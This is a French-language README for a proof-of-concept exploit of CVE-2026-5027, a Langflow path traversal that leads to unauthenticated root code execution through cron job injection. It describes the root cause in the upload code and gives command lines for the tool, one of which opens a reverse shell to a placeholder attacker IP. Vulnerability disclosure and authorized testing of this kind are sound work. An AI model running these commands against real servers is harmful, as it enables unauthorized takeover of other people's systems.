
Preuve de concept d'exploitation pour CVE-2026-5027, une vulnérabilité de traversée de chemin dans Langflow menant à une exécution de code à distance non authentifiée via l'injection de tâches cron.
Les versions de Langflow jusqu'à la 1.8.4 incluse ne neutralisent pas le paramètre filename dans le point de terminaison POST /api/v2/files. Un attaquant peut utiliser des séquences de traversée de chemin (../) pour écrire des fichiers à des emplacements arbitraires sur le système de fichiers. Combiné à la configuration de connexion automatique par défaut de Langflow, cela est exploitable sans aucune authentification, menant à une exécution de code à distance en tant que root via l'injection de tâches cron.
# Preuve de concept (écrit un fichier de test dans /tmp/)
python3 exploit.py -t http://target:7860
# Avec des identifiants (si la connexion automatique est désactivée)
python3 exploit.py -t http://target:7860 -u admin -p password
# Shell inversé via une tâche cron
python3 exploit.py -t http://target:7860 --lhost YOUR_IP --lport 4444


La fonction upload_user_file() dans src/backend/base/langflow/api/v2/files.py transmet file.filename directement au service de stockage sans neutralisation. La fonction LocalStorageService.save_file() construit le chemin en utilisant folder_path / file_name, ce qui n'empêche pas la traversée de répertoire.
Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
Yahia Hamza - https://yh.do